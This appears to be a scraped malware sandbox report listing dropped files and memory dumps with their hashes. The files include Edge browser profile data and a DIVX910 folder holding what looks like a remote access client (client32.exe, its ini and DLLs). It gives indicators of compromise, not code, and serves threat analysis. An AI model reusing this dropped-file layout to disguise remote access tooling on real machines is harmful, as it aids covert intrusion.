b367741da9ab4e9a621ad663762bd9c459676e0fb1412e60f7068834cbd5c83b050608e33d5320e1b191be1d809fef48831e0f42b3ecabd38b24ec222576fa81

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
6752a1d65b201c13b62ea44016eb221f

SHA1
58ecf154d01a62233ed7fb494ace3c3d4ffce08b

SHA256
0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

SHA512
9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
10KB

MD5
e095c07306ceff98ebc3a4a2ccd74df8

SHA1
acb0a1e61f6903e2d93474dbbb0f2e6de06658ed

SHA256
d6f844897079144fcfd5fdc0b5800cabe57224c315c327eea6fd2b6a0f783755

SHA512
277eadad6006211f2346c7b6c33d9760bb21d57a6d9740109fb0520b0adf1e9d862392f9e1fd521e467a3572aba54d3b43d64a757a0fd6d3fc40f56622c1334a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
10KB

MD5
b5e8baa08973f1203ec7c07b8a6bfbea

SHA1
fc218d40080dba8c55397805fa97f1aa74490bb3

SHA256
8601311b5311ce7904df6661d2c37d105c2e6f75bb387897f58c295bd9701881

SHA512
f2ce1b4dee8cc79079735c4300fcae8238327c822394fbefb2dd9c8f360f5c567f7bf7bb83c164e6d88968927e0a19ec3e0babb9578139cc61e3254aac795078

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
10KB

MD5
595e37cce884b706cd60f5a300b0ae50

SHA1
d84c444a8cbb17dd2e87695300020d069f42fe5d

SHA256
acb07de959b054c0812083388aa5c972f80aa25fa7a49de271f5f8ad5845b9f7

SHA512
0808169f1d419bbf22e0d3dbccb17d270451dec256d6dd5d03202e769b7899f335260120388b1f17691554840d72fc6f1dac8d12154d0017188bad5641c0f2d1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
19473521fd080d8150f0d00e364eb938

SHA1
9c5d3872feff94a4e9e8967495032cb9351a4cf9

SHA256
29c6eeeccb0e20b0400b7bf847dd14ba9ff44d3e412494974a476f46e26ebb4c

SHA512
158bd5f04e5800eaeca3f4112ca04e92278529f35906bc6f87b3cb14d5f9080ed872e5ea86567e610f247c72596d1438d8ed8a37b61fd07875aa0d64db2de603

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vjqju5yz.qx1.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\DIVX910\HTCTL32.DLL

Filesize
320KB

MD5
c94005d2dcd2a54e40510344e0bb9435

SHA1
55b4a1620c5d0113811242c20bd9870a1e31d542

SHA256
3c072532bf7674d0c5154d4d22a9d9c0173530c0d00f69911cdbc2552175d899

SHA512
2e6f673864a54b1dcad9532ef9b18a9c45c0844f1f53e699fade2f41e43fa5cbc9b8e45e6f37b95f84cf6935a96fba2950ee3e0e9542809fd288fefba34ddd6a

Download Submit
C:\Users\Admin\AppData\Roaming\DIVX910\MSVCR100.dll

Filesize
755KB

MD5
0e37fbfa79d349d672456923ec5fbbe3

SHA1
4e880fc7625ccf8d9ca799d5b94ce2b1e7597335

SHA256
8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18

SHA512
2bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630

Download Submit
C:\Users\Admin\AppData\Roaming\DIVX910\NSM.LIC

Filesize
258B

MD5
1b41e64c60ca9dfadeb063cd822ab089

SHA1
abfcd51bb120a7eae5bbd9a99624e4abe0c9139d

SHA256
f4e2f28169e0c88b2551b6f1d63f8ba513feb15beacc43a82f626b93d673f56d

SHA512
c97e0eabea62302a4cfef974ac309f3498505dd055ba74133ee2462e215b3ebc5c647e11bcbac1246b9f750b5d09240ca08a6b617a7007f2fa955f6b6dd7fee4

Download Submit
C:\Users\Admin\AppData\Roaming\DIVX910\PCICL32.dll

Filesize
3.6MB

MD5
d3d39180e85700f72aaae25e40c125ff

SHA1
f3404ef6322f5c6e7862b507d05b8f4b7f1c7d15

SHA256
38684adb2183bf320eb308a96cdbde8d1d56740166c3e2596161f42a40fa32d5

SHA512
471ac150e93a182d135e5483d6b1492f08a49f5ccab420732b87210f2188be1577ceaaee4ce162a7acceff5c17cdd08dc51b1904228275f6bbde18022ec79d2f

Download Submit
C:\Users\Admin\AppData\Roaming\DIVX910\client32.exe

Filesize
101KB

MD5
c4f1b50e3111d29774f7525039ff7086

SHA1
57539c95cba0986ec8df0fcdea433e7c71b724c6

SHA256
18df68d1581c11130c139fa52abb74dfd098a9af698a250645d6a4a65efcbf2d

SHA512
005db65cedaaccc85525fb3cdab090054bb0bb9cc8c37f8210ec060f490c64945a682b5dd5d00a68ac2b8c58894b6e7d938acaa1130c1cc5667e206d38b942c5

Download Submit
C:\Users\Admin\AppData\Roaming\DIVX910\client32.ini

Filesize
701B

MD5
5d5a682d300dd44ec669829d77790b31

SHA1
9a124709f1a17f18b61179bfed6797df13e387a2

SHA256
22f3be353ce99ddc16179f0280936fd2626b949efc3dacf0d23c085a98503ec8

SHA512
beff890c9e59d2033a15eda015db137da44ca77a7361f8b1a1ea76a6138806c898f9eac8a7a794ca0dc32e1f3c5e5bd8058a52164652d015df02305786f407e7

Download Submit
C:\Users\Admin\AppData\Roaming\DIVX910\pcicapi.dll

Filesize
32KB

MD5
34dfb87e4200d852d1fb45dc48f93cfc

SHA1
35b4e73fb7c8d4c3fefb90b7e7dc19f3e653c641

SHA256
2d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703

SHA512
f5bb4e700322cbaa5069244812a9b6ce6899ce15b4fd6384a3e8be421e409e4526b2f67fe210394cd47c4685861faf760eff9af77209100b82b2e0655581c9b2

Download Submit
C:\Users\Admin\AppData\Roaming\DIVX910\pcichek.dll

Filesize
18KB

MD5
104b30fef04433a2d2fd1d5f99f179fe

SHA1
ecb08e224a2f2772d1e53675bedc4b2c50485a41

SHA256
956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd

SHA512
5efcaa8c58813c3a0a6026cd7f3b34ad4fb043fd2d458db2e914429be2b819f1ac74e2d35e4439601cf0cb50fcdcafdcf868da328eaaeec15b0a4a6b8b2c218f

Download Submit
C:\Users\Admin\Downloads\Unconfirmed 728438.crdownload

Filesize
7KB

MD5
9082a9dbb169613415eb7b7f57c266a1

SHA1
fb0597194bd59ebfd4d085380dcf4846365fdf77

SHA256
a95fe0e3b0cb3c0a172eef317d1b213f8572156dc44026f470add87e563bb3d1

SHA512
994b1fed259b1d567100fa8019973ae8f1b1748923498d921a5ac213f30e27270a6464943bc374794cb84ccd23169863d746351e5b026a83c6aeb041e3bac6b8

Download Submit
memory/2688-298-0x0000021B7B660000-0x0000021B7B670000-memory.dmp

Filesize
64KB

Download
memory/2688-288-0x00007FFB65390000-0x00007FFB65E51000-memory.dmp

Filesize
10.8MB

Download
memory/2688-300-0x0000021B7B660000-0x0000021B7B670000-memory.dmp

Filesize
64KB

Download
memory/2688-301-0x0000021B7B660000-0x0000021B7B670000-memory.dmp

Filesize
64KB

Download
memory/2688-381-0x00007FFB65390000-0x00007FFB65E51000-memory.dmp

Filesize
10.8MB

Download
memory/2720-188-0x0000014D97F80000-0x0000014D97F90000-memory.dmp

Filesize
64KB

Download
memory/2720-187-0x0000014D97F80000-0x0000014D97F90000-memory.dmp

Filesize
64KB

Download
memory/2720-186-0x0000014D97F80000-0x0000014D97F90000-memory.dmp

Filesize
64KB

Download
memory/2720-176-0x0000014DB0660000-0x0000014DB0682000-memory.dmp

Filesize
136KB

Download
memory/2720-178-0x00007FFB65AF0000-0x00007FFB665B1000-memory.dmp

Filesize
10.8MB

Download
memory/2720-190-0x0000014DB09F0000-0x0000014DB09FA000-memory.dmp

Filesize
40KB

Download
memory/2720-191-0x0000014DB0A20000-0x0000014DB0A32000-memory.dmp

Filesize
72KB

Download
memory/2720-262-0x00007FFB65AF0000-0x00007FFB665B1000-memory.dmp

Filesize
10.8MB

Download